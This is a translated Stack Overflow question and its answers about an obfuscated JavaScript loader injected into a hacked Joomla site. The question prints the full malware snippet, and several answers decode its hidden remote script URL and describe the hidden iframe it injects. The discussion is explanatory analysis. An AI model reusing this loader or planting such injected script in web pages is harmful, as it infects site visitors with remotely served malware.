Как работает этот скрипт заражения сайтов?

99

Моя Joomla! сайт неоднократно подвергался взломам. Кому-то каким-то образом удалось внедрить следующий мусор в ключевые скрипты php, но я не хочу говорить о настройке Joomla. Сайт редко посещают (иногда я боюсь, что могу быть единственным посетителем этого сайта ...), и меня не очень заботит, чтобы сайт снова заработал. Я со временем справлюсь с этим.

У меня вопрос, а как работает эта фигня? Я смотрю на это и просто не понимаю, как это может навредить? Он пытается загрузить файл PDF с именем ChangeLog.pdf, который заражен трояном и после открытия заморозит ваш Acrobat и нанесет ущерб вашей машине. Как это происходит, я не знаю, мне все равно. Но как следующий фрагмент скрипта вызывает загрузку?

<script>/*Exception*/ document.write('<script src='+'h#^(t@)((t$&@p#:)&/!$/)@d$y#^#$n@$d^!!&n#s$)^-$)o^^(r!#g!!#$.^^@g))!a#m#@$e&$s^@@!t@@($!o@$p(.&@c&)@(o$m)).!$m$)y@(b@e()s&$t$@y&o$&(u#)$x&&^(i)-@^c!!&n$#.(@g)$e#(^n&!u(i&#&n(e&(!h&o@&^&l^$(l)&y$(#@w!o@!((o#d&^.^#)r$#^u!!$:(#@&8#)(0$8@&0^(/))s#o#^&#^f!$t$!o##n(&$i(^!c$(.!&c@o!&^m#&/&(s&$(o!f&!t@&o!!n)&i$&c!.#^^c)!$o@@((m@#/$^!g#^o$^&o&#g!l)@@@!e&.))c!)(o#@#^!m(&/^^l#^@i##(v&@e&)!$j^!a@$s#m!i)n$.!$c&$o)@$m^/@$v&i^d^()e(!o&&s@(z(@)^.@)c$&o^m)$)^/#$'.replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')+' defer=defer></scr'+'ipt>');</script>
<!--6f471c20c9b96fed179c85ffdd3365cf-->

ESET определила этот код как троян JS / TrojanDownloader.Agent.NRO.

Петер Перхач
источник
41
Пожалуйста, не забывайте про ссылку из любопытства!
DOK
1
Да, не блуждайте, пытаясь понять, что происходит, волшебство заключается в простом кодировании URL-адреса и последующем декодировании / синтаксическом анализе строки с помощью Replace / RegEx, который вы видите в конце строки.
DoctorLouie
13
"кусок сценария" сначала читался как нечто иное.
Aditya MP

Ответы:

181

Обратите внимание на replaceвызов после гигантской строки беспорядочной: .replace(/#|\$|@|\^|&|\(|\)|\!/ig, '').

Он удаляет большинство специальных символов, превращая его в обычный URL:

evil://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/

(Я вручную изменил http:на evil:)

Обратите внимание, что регулярное выражение можно было упростить до .replace(/[#$@^&()!]/ig, '')

Если вы посмотрите на сценарий, вы увидите, что это очень простой сценарий, который вводит скрытый IFRAME, содержащий путь /index.php?ysиз того же домена.

Я запросил эту страницу в Fiddler, но на ней не было содержимого.

SLaks
источник
6
Я думаю, что скрипт, предоставляющий содержимое iframe, сделан так, чтобы не запускать загрузку pdf каждый раз. Шанс может быть 1 из 10 или что-то в этом роде. Он не пытался загружать pdf каждый раз, когда я обновлял страницу joomla. Может быть даже 1 из 100 ... кто знает?
Петер Перхач
174
+1 за упоминание о том, что код можно было бы написать более эффективно. :)
Pekka
8
@Pekka, я думаю, это было специально написано таким образом, чтобы было неясно
Elliptical view
7
@Elipticalview Определенно. Если бы писатель беспокоился об эффективности, он бы точно не стал использовать замену RegEx для получения статической строки. Ржунимагу.
Дэн Бечард
Я не понимаю, что хорошего в модификаторе шаблона без учета регистра можно сделать для шаблона без букв. Я бы тоже использовал a +после класса символов ... при использовании регулярного выражения.
mickmackusa
34

Эти ответы могут помочь вам понять природу вредоносного кода JavaScript, но вам следует искать способ закрыть лазейку в движке Joomla. Предварительно упакованные фреймворки подвержены умышленным или непреднамеренным лазейкам, особенно если принять во внимание, что они созданы для работы в средах unix, mac и Windows.

Моя работа требует, чтобы я запускал множество доменов, приложений и фреймворков на многих типах серверов и систем для клиентов и для себя. Со временем я видел, как все больше и больше ботов ползают по этим системам в поисках известных лазеек / входов в обход входов с черного хода, созданных этими фреймворками. Хорошо, когда я использую какой-либо фреймворк, что я редко использую, я обязательно переименовываю большую часть, если не всю файловую структуру, чтобы избавиться от этих надоедливых лазеек / лазеек. По крайней мере, вы можете переименовывать каталоги, что сбивает с толку большинство ботов, но мой способ - полностью исключить ссылки, которые дают подсказки о природе фреймворка, что включает переименование всей файловой структуры, а не только каталогов. Всегда храните карту новых соглашений об именах относительно старых соглашений об именах, чтобы упростить добавление подключаемых модулей к вашей базовой структуре. Как только вы освоитесь с этим, вы можете пойти дальше программного переименования всей файловой структуры фреймворка для более быстрых результатов, это особенно полезно, когда вам приходится иметь дело с клиентами, которым необходимо иметь возможность обновлять свою фреймворк с помощью плагинов и т.п.

Доктор Луи
источник
1
Только не удаляйте информацию об источнике фреймворка, это было бы неправильно.
DoctorLouie
2
Оооо, спасибо. Хороший ответ. Не совсем отвечая на вопрос, но все же +1, так как это действительно было очень интересное чтение и были сделаны хорошие предложения. Ta
Петер Перхач
20

Он просто заменяет регулярное выражение в URL-адресе скрипта, чтобы дать вам

ПРИМЕЧАНИЕ: НЕ СЛЕДУЙТЕ НИЖЕ ССЫЛКЕ (вставлено **для предотвращения копировальных пастырей)

http**://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/

как src

Расс Кэм
источник
как это просто, не так ли? Боже мой ... я снова получил pwnd от SO :)
Peter Perháč
23
Это веселый URL.
Jordan Running
@Josh - решать тебе, я не пробовал, поэтому не могу точно сказать, почему. Подозреваю, что на странице могут быть вредоносные скрипты. Вы можете сделать это на свой страх и риск!
Russ Cam
8

Он использует функцию replace для замены мусорных символов с помощью регулярного выражения, в коде нет ничего плохого:

 ........replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')
Сарфраз
источник
7

Его сценарий загрузки из

h..p://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/

И этот скрипт загружается iframeс видимостьюhidden

h..p://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/index.php?ys
ТЫ
источник
2

Когда вы читаете все это целиком, вы обнаруживаете, что это строка, за которой следует команда замены.

Радж Мор
источник
2

У меня на страницах в индексных *. * Файлах такой же скрипт. Я пишу свой код на PHP. Мой вопрос не в том, как это работает, я спрашиваю, как защитить, если вы знаете их бэкдоры. Я изменил формы и прочитал $ _POST и $ _GET с заменой <> и http: // и т. Д.

Кулик
источник
2

Мои два цента. У вас есть / можно ли установить инструмент резервного копирования Joomla, такой как Joomlapack?

Я установил его для запуска через скрипт CHRON, чтобы товары были под рукой на случай, если грабители начнут грабить.

Какая версия Joomla у вас установлена?

Версии 1.0.X больше не обновляются, и их возраст действительно начинает показывать. Вы обязаны сделать резервную копию и планируете перейти на 1.5 и предвкушаете чудеса 1.6.

Greenkoi
источник